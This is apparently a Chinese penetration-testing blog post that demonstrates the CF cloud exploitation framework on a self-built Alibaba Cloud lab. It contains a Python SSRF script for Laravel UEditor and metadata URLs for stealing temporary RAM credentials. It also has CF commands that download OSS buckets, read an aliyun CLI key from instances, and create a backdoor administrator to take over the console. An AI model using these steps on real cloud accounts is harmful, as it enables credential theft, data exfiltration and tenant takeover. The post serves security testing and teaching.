0x00 前言
最近在做项目的时候，测到了一个部署在云上的存在 Laravel UEditor SSRF 漏洞的站点，并且发现这个 SSRF 漏洞可以读取到临时凭证，这不巧了，正好最近写了一个云环境利用的工具。
开始之前这里先简单介绍一下这个工具，CF 是这个工具的名字，通过它可以很方便的进行云上内网渗透，比如一键在所有实例上执行命令、一键接管控制台、一键列出云服务资源等等。
项目地址：GitHub - teamssix/cf: Cloud Exploitation Framework 云环境利用框架，方便安全人员在获得 AK 的后续工作
使用手册：CF 云环境利用框架使用手册 | T Wiki
十分建议在使用 CF 的时候，边使用边参考 CF 的使用手册，发现 CF 更多功能，那话不多说，下面咱们就开始吧。
0x01 打点，但，是云环境
一开始还是信息收集，首先通过指纹扫描发现在目标范围内的一个站点使用了 Laravel 框架，接着测试发现该站点存在 Laravel UEditor SSRF 漏洞。
这里的 SSRF 漏洞触发点在 UEditor 编辑器的上传图片功能中，下面我们尝试让服务器从 https://baidu.com?.jpg 获取图片。
然后我们读取返回的文件地址，通过返回的内容可以看到服务端确实访问到了 https://baidu.com?.jpg，说明这里确实存在 SSRF 漏洞。
通过查询该域名所属 IP，发现该站点位于云上，那么我们就可以利用这个 SSRF 漏洞去获取实例的元数据信息，但是这样每次获取数据都要手动发两个数据包就很麻烦，所以这里简单搞个脚本。
import sys
import requests
ssrf_url = sys.argv[1]
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36"}
req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers)
req2 = requests.get(req1.json()["list"][0]["url"],headers=headers)
print(req2.text)通过查询该站点的 IP 得知该站点位于阿里云上，阿里云的元数据地址为 http://100.100.100.200/latest/meta-data，我们尝试获取一下。
可以看到成功获取到了元数据信息，并且值得注意的是，在元数据信息里还有 ram/目录，这就意味着这台实例存在临时访问凭证，也就是说存在被进一步利用的可能性。
我们一步步打开 ram/目录，在 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role 下找到了临时访问凭证。
不同于传统的打点，云环境的打点在我看来，除了传统打点的类型外，拿到云服务的 Access Key 也应该可以被称之为打点，那么在打到点后，接下来就可以开始内网横向了。
0x02 云上内网横向，也得细心呀
当我们拿到临时访问凭证后，首先要做的就是得知道这个凭证具备哪些权限。
我们先把凭证配置到 CF 里，CF 下载地址：Releases · teamssix/cf · GitHub
cf configure
查看当前凭证的权限
cf ls permissions
可以看到当前权限具有 OSS 的全部权限，并且可以使用 CF 的「列出 OSS 资源」以及「下载 OSS 资源」的功能。
这里先列出 OSS 资源看看
cf oss ls
可以看到在该凭证下有四个存储桶，一个是公开的，三个是私有的。
查看一下存储桶里有哪些文件
cf oss ls -b bucketName
利用 CF 下载文件，如果想下载全部对象，则不指定 -k参数即可。
cf oss get -b bucketName -k objectKey
大概翻了一下存储桶里的文件，在公有存储桶里大部分是图片，私有存储桶里有几十个压缩包文件和大量图片等等，这几百张图片里只发现了几张有敏感信息的图片，整体来说价值不大。
后来过了一会儿还是另外一位师傅在私有存储桶里一个个的翻文件，最后在几十个压缩包里终于找到了一个有高价值的配置文件，于是事情开始出现了转机，不得不说，还是得细心啊。
查看这个配置文件，发现在配置文件里写的是「OSS 相关配置信息」
但是当我们配置上这个 AK 后，发现这个 AK 还具有 ECS 的权限。
在后来拿下管理员权限后，我们发现这个用户被配置到了具备 ECS 权限的用户组里去了，所以这里才会有 ECS 的权限。
先用 CF 看一下有哪些 ECS 实例
cf ecs ls
使用 CF 一键获取临时访问凭证
cf ecs exec -m
发现只有一个实例可以获取到临时访问凭证，而且这个有临时访问凭证的实例就是上述存在 SSRF 漏洞的那台机器。
于是通过临时访问凭证横向的这条路就断了，那就继续在实例上信息收集吧，看看能不能找到什么有价值的信息，最后发现有一台实例安装了 aliyun cli 工具，并且配置过 AK，那么这样一来我们就可以通过查看 aliyun cli 工具的配置文件获取到这个 AK。
cf ecs exec -c "cat ~/.aliyun/config.json"
将 CF 配置上这个 AK，并查看权限
发现这个 AK 的权限要比之前的几个都要大，这个 AK 具有 AliyunRAMFullAccess权限，这也就意味着我们可以创建一个管理员后门用户，并通过该用户去接管控制台。
0x03 拿下云上管理员权限，相当于拿下“域控”？
使用 CF 一键接管控制台
cf console
在浏览器中，打开控制台登录地址，并输入用户名、密码进行登录。
在访问控制里，可以看到当前权限为AdministratorAccess，这也就意味着我们已经拿到了该租户的管理员权限。
在控制台中看看这个账号下的 OSS 对象存储服务
其他的 ECS、RDS 等等云服务也都是可以查看并操作的，这里就不再一一截图了，到这里为止，其实在我看来就相当于已经拿下了传统内网中的“域控”权限。
基本上这个云账号下的绝大部分操作都是可以执行的了，只不过在控制台下有些操作需要二次校验，但其实还是有办法绕过的，绕过的方法也很简单，相信你能猜到 ~
最后还有一些值得注意的地方，是需要了解的：
- 在 ECS 实例中执行一些高危命令，例如反弹 Shell 这类，可能会引发云盾告警。
- CF 接管控制台会创建一个后门用户，在使用完后，记得取消接管，使用
cf console cancel命令即可取消接管，后门用户也会随之删除。- 为了充分表达云上内网横向的过程以及更加完整的展示 CF 的使用，文中少部分内容非真实发生且部分内容进行了省略。
- 出于保护目标但又想学习交流的目的，以上云上环境均为个人搭建，不代表目标的实际情况。
0x04 总结
记得以前大家一起做项目的时候，那个时候如果有人打点打到云上的主机时，就会在协作平台里标注一句「这个是云主机，不用花太多时间去深入」。
但随着企业业务的不断上云，打点打到云上主机的概率也在可感知的越来越大，似乎传统内网的奶酪正在不断变少，这时如果不去寻找新的奶酪（指云上内网横向），也许在不久的将来就会陷入两难的境地。
因此本文既是在介绍这个云环境利用框架 CF 工具，也是在描绘一种在新场景下的内网横向手法，这里的内网横向不仅仅是从这台机器到那台机器，而是从这个云服务到那个云服务，例如从 OSS 到 ECS 再到 RAM 等等，在这其中又包含了从这个机器到那台机器，例如多台 ECS 实例之间的内网横向。
